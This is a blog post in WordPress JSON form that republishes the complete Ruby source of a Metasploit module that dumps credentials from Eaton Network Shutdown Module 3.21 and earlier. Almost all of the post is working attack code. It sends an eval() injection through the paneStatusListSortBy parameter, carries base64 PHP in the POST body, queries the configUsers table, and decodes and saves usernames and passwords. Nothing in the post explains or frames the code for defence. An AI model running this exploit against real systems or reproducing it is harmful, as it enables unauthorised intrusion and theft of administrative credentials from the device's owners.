{"id":59290,"date":"2024-08-31T22:30:22","date_gmt":"2024-08-31T19:30:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180627\/eaton_nsm_creds.rb.txt"},"modified":"2024-08-31T22:30:22","modified_gmt":"2024-08-31T19:30:22","slug":"network-shutdown-module-sort_values-credential-dumper","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/network-shutdown-module-sort_values-credential-dumper\/","title":{"rendered":"Network Shutdown Module sort_values Credential Dumper"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Network Shutdown Module sort_values Credential Dumper&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module will extract user credentials from Network Shutdown Module<br \/>versions 3.21 and earlier by exploiting a vulnerability found in<br \/>lib\/dbtools.inc, which uses unsanitized user input inside a eval() call.<br \/>Please note that in order to extract credentials, the vulnerable service<br \/>must have at least one USV module (an entry in the &#8220;nodes&#8221; table in<br \/>mgedb.db).<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;OSVDB&#8217;, &#8216;83199&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20121014000855\/http:\/\/secunia.com\/advisories\/49103\/&#8217;]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;h0ng10&#8217;,<br \/>&#8216;sinn3r&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2012-06-26&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(4679)<br \/>])<br \/>end<\/p>\n<p>def execute_php_code(code, opts = {})<br \/>param_name = Rex::Text.rand_text_alpha(6)<br \/>padding = Rex::Text.rand_text_alpha(6)<br \/>php_code = Rex::Text.encode_base64(code)<br \/>url_param = &#8220;#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f&#8221;<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; &#8216;\/view_list.php&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;vars_get&#8217; =&gt;<br \/>{<br \/>&#8216;paneStatusListSortBy&#8217; =&gt; url_param,<br \/>},<br \/>&#8216;vars_post&#8217; =&gt;<br \/>{<br \/>param_name =&gt; php_code,<br \/>},<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Connection&#8217; =&gt; &#8216;Close&#8217;<br \/>}<br \/>})<br \/>res<br \/>end<\/p>\n<p>def read_credentials<br \/>pattern = Rex::Text.rand_text_numeric(10)<br \/>users_var = Rex::Text.rand_text_alpha(10)<br \/>user_var = Rex::Text.rand_text_alpha(10)<br \/>php = &lt;&lt;-EOT<br \/>$#{users_var} = &amp;queryDB(&#8220;SELECT * FROM configUsers;&#8221;);<br \/>foreach($#{users_var} as $#{user_var}) {<br \/>print &#8220;#{pattern}&#8221; .$#{user_var}[&#8220;login&#8221;].&#8221;#{pattern}&#8221;.base64_decode($#{user_var}[&#8220;pwd&#8221;]).&#8221;#{pattern}&#8221;;<br \/>} die();<br \/>EOT<\/p>\n<p>print_status(&#8220;Reading user credentials from the database&#8221;)<br \/>response = execute_php_code(php)<\/p>\n<p>if not response or response.code != 200 then<br \/>print_error(&#8220;Failed: Error requesting page&#8221;)<br \/>return<br \/>end<\/p>\n<p>credentials = response.body.to_s.scan(\/\\d{10}(.*)\\d{10}(.*)\\d{10}\/)<br \/>return credentials<br \/>end<\/p>\n<p>def run<br \/>credentials = read_credentials<br \/>if credentials.empty?<br \/>print_warning(&#8220;No credentials collected.&#8221;)<br \/>print_warning(&#8220;Sometimes this is because the server isn&#8217;t in the vulnerable state.&#8221;)<br \/>return<br \/>end<\/p>\n<p>cred_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Network Shutdown Module Credentials&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Username&#8217;, &#8216;Password&#8217;])<\/p>\n<p>credentials.each do |record|<br \/>cred_table &lt;&lt; [record[0], record[1]]end<\/p>\n<p>print_line<br \/>print_line(cred_table.to_s)<\/p>\n<p>loot_name = &#8220;eaton.nsm.credentials&#8221;<br \/>loot_type = &#8220;text\/csv&#8221;<br \/>loot_filename = &#8220;eaton_nsm_creds.csv&#8221;<br \/>loot_desc = &#8220;Eaton Network Shutdown Module Credentials&#8221;<br \/>p = store_loot(loot_name, loot_type, datastore[&#8216;RHOST&#8217;], cred_table.to_csv, loot_filename, loot_desc)<br \/>print_good(&#8220;Credentials saved in: #{p.to_s}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Network Shutdown Module sort_values Credential Dumper&#8217;,&#8216;Description&#8217; =&gt; %q{This module will extract user credentials from Network Shutdown Moduleversions 3.21 and earlier by exploiting a vulnerability found inlib\/dbtools.inc, which uses unsanitized user input inside a eval() call.Please &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59290","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59290","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59290"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59290\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59290"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59290"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59290"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}